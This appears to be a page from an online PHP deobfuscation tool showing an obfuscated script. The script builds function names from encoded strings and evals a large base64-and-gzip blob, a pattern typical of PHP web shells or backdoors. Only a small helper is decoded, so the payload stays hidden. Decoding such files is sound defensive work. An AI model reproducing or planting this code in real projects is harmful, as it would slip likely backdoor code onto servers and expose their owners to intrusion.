Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA=="); eva..

Decoded Output download

if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LZa1zg
YLb4RvJtJ/jt5imRSlWGbmbaJlZt6rz1fEhSU3Lq
zxM1Ne6fDPf5kmCIL/3/7J0r3E0f8tynwuyn/+oy
Ulsu2hnPUB8OxsVtvbwOimAA6SGcZwM0lWCAF7mB
2tBwtPrqkU+DNLwGNMdrbIC4C9JWq0GHiSwWqqwQ
IAp2+8khq4o7wLPairYuoKWPL0pAUHjAoKKWY40B
yShzToq7lpE2RuRnvAHJ9ZQdPZ1RahagxRaY18gw
rhwpZYMyuHl9UTu6f9L+0hA4LgAbZLErq3ueAZM+
tzqzDsLznO14+iOnRRgCkLE4emGVdE0J3X42X/tr
vlLlf5Kv5MqXuw/fcSY7yuviE0RmKzDs9Pwlns28
rrXpXfvXxsFnNP2NsRSODr850xtZUrthnDmRqw2J
HIrvZo9FJpm/mWWBugE6yZHjySoXX/oh5achsNEm
+/p4B2juO3SzdDLIb3UFaZFAmivGIm7Wr7DjsSrM
W19clHJ1m1YNGb1QWNnLz2yT68aasVCdi26QS1b2
wFJg0BoSPoF86u6HNWIJpChMAowwVU9IP1gS6EpG
TR3o/0sBs8gFG1CLokXV3Nh7adrWi32S0S7lQm3C
Cn3S+bPu+NixmY5B9lonjqWrG3gaA2U70bQtw+W6
pXeBBk8pUMwMSebYcDXraq19883pQ5C3wyHqcbXt
8EH/7Asx2Jpf1NuwKWL/plDarCuQm17ULIxOqJPI
qXNjrIH0Lgl7sJ5gzZ7bcPo61giVNc70CfobB1qE
lP6Hm2FR5+1hKjLHhgkLfRltNz5vqSmUbSR2pTGZ
9OtsEbqZsvZSgSVeVu31OTlB6uPB/ZHUx1dBT9kA
/441yA3PLMcmBXkBIA8wbz80HW2vEgBfOyZQUlPl
v8STbU5OwNUiX/lbGdahx+yq45rwIo1J8+UoRtPN
QWdprYrliPcmFgOKrZFxDkmuZa3MbXMYjxuSTFr3
ePrO4urLkoTN/EomQqGGoSdWY2wtjhwcNkatMhcX
FeF2/0DZ1P3b5ETizD7b8FFaKUWYr19TgdUGH5e3
XGyTbjIhMtw5FMCRIcBzqR8D7tIvgL4rE+zWgyda
m7yl4ZSXP7LLGf39q/l8akx60dHksMGy6NubqKkj
wGb0eqK+yr0J3/Ro/VdWIoTYxq1J0tzimeEO0ZbM
EMDw0k/RV/KOFnem9mQUzI0HEVHToeCL8iXAdEtk
X3Zjjju4wYInNllJzz6C3HOOgLOr6fHZFXoqFetd
fUO6OFf9CSETqLoIpfisBLw3joIooDWsGiAPHJbR
H4EFbg3aI5PeAxtVfZhv5aQr3ijIH8oa5HqRLSnD
ihtLzhqFMqTa6Jlx2onhuSXpgYXvRVs7jIff2R6i
w3YwOXG28VE59skqqyF+jvi9Ao+mImVeUYgl/zWD
SVJa714gN3i5T3GXNmk567JO9hfoI4rGxmq5zE2M
MYwQopaV8fG0kLSNzxv6z+2BohXG5CYzuQg9k7cD
oAbb1oFZxcZmbXMDmX9IvWor9jrZiVXUtj+CUORj
u+JmU77MzSrk1EXJTZ3OFHxw8u9nxFeXO6NKyxP9
K8/YhNKINVeXOoogHXihzq8HKb7uKpVF1bamyv8g
dtDkkoo7dGpIldWaqRjiUllX94sfkkcPBGyqARNL
zIXKT5j75Gc1pjm7Dsz6GSNKcxSLHcRtCer+BCpX
ec3Y+dDQwr3XFtRq7odokSHQb0pNuJoGksBMoYPX
FP72w/AdysVVBW7uo5SiAV+JYpsvNO5Z3cXVUSVp
cJ+A8xFn3dSkoeGoy9fWCZibj6u2LqMX7aJadsR6
9clWWiNh5DOw+VsYWrDWMoZSByxZp+GXLd0UaeAn
w+wDlMqx40F0pkohhsvfhLkj9iOE7NwrRuxlqKAi
06/L3Ks+vg7oG5GF6qKB/UMS2fyyHBWfUOYYds80
PWUv7B+hrjbRDewd7PSYbriIiUxfbbzPFdT/Tt2K
yKlSyL+Ys9YP0mPXoMSmOPkD8FYixOPpkicTkfwr
MwCYNrnQZLYcSlvB4re+DB8tDxOzkXDBI9QOP8wh
skhQvVg9+yEphofgu/iH5xalxFi+jodJfnV1aB+i
2z7Op3HolLhJ2IiWfrhAteYkRTZNOTT2aSJT6eZO
ans4jOVYV8qvEVRhxk+TaSB7VR4C/EpU9doCpFzz
lOyqTefIOt2V/aW1KYEgU9pB+in9PJC92YyndXhe
Vr3kTmYOSVZYBJ0DZe8ixNNvElILZ8wp5IdlvTnk
91k+BaITaGq2U6bhp8VYoYkWs4IEaJ2/3mtMBZWa
9htvh+yu3fN/rMraq8VhL1s8K0KsnbVvHQh3jinZ
DG4xZTLG0TE3ZjGYGv3/zgcsVUHAuHqRtdaOXYCS
7vjbB+8KTlu4weDVSYGaxKEGer2XDtGRCJ1Jb6fJ
7ppahJfJa8+z33oLufA4Z1Z/HseGqRIj1F6oUxwj
2QtP2txdSKr98m8VphHznb40HwGSqvY0nECFGmqo
QHPunCHQKoNqBAWOlmMgohs2GNnkTh+rwxQBRf+J
coON4hvP5UUGG3a0bkuJ7F9OR0Fb/cITcQXIS8F0
+mXmZujJvflqxw8+NorJzKaa05tEvUbAE+rqp+hL
YGitG3vXnUQ8C8iZzXCjOF9FjNMfUHirEqAakPmZ
DHCgLqb8mdtK6Kli+rfhpXHCu3xGZsVTz7bBYOfI
sWEaV1EW2QDuLX7yxZHc8c71aqUei5MejcuguU94
iguHR2ifLqKX48ikLV7w7B5OPqlR6LdCjfyBuNwv
VI9KOyE7L4F8zkREeMpF0f4nFHAP/FTC5Mz7KjvP
vpBTByfxjMLekeewfQqnk8R+IoAcyiOJMRyj1DPm
WRoz9DJW0qqiggx2GDsf6EoBsA5bHYnxWJDzIhXS
wqZIVk30gqDPJbRmIeNwfMFM3YRKy7fKzVwNrEgb
mdDDvRb1X0F3h5weHYSozy5SjfHtqLig7i9xzOkm
cF8+U+fhft3Go6nq3/g0LcxZ62zQWu4GZjQCl4CL
FmHUZxKd0J1xVoadUHZTucd8e61PG46sojli/3gu
LF5F4rug2iL3z3jh1hkJHz6naBA6/66cgodkOjjq
/a5Ce2pBIjfGGqISPxxh1Bd1uZRWYJJqRG966jn+
esKna1QfRpGjdYGKRfR1jPOq2rrHbttgd9QqUi/F
DLnxAH13DQZPM2RUkWtz1Ng+Wdhip2su8ON/pZRr
l4Ok53RBER6PXwx32UaZZzgJ+jG3t8GBBGi95sEN
T6ZkBSVg0H8Nkw/Gx+xI9rmq36A28+aEJi8TO6+W
arxJTtWpxFI1Ow/4V/TxiNPNfZn2D5hqeaw9EHBX
qCfv/IhYVc7IvnUPwVYM47e2u80c0jjlaYSboxeg
wK3fO8bK+2vdgVllqx04Qvk1RbcW7aEMCyQFRIDC
kg91ql0++g+89tSCwqLNYbtHL61FcjdATXts6VNN
JwjiEiTXO+4iLfoT+ykh3wYC77sneqJ9pGd/vJOm
Zo0NJ9831JWmp4ftapMg5phHnPedLSyC6IGywr44
6swqIZuYMTNnoO5BQ9QUeYA6mD/hlB95fGx+GlQP
CuB1WsNgTUWmOiC+BZo9+Y+INzoZARUvhcOlSxgG
X2+MKwvyOES5dgnMcfdZGO+8PgQ2PBKXA+AMV/L8
VuxFAFQ167hQ6ysnxSHgD8qr8CAAK46f/5z7///v
vf/wc=')));

Function Calls

gzinflate 1
base64_decode 2

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp

Stats

MD5 2bc2d062783514fc98fc95ffae472c8f
Eval Count 1
Decode Time 83 ms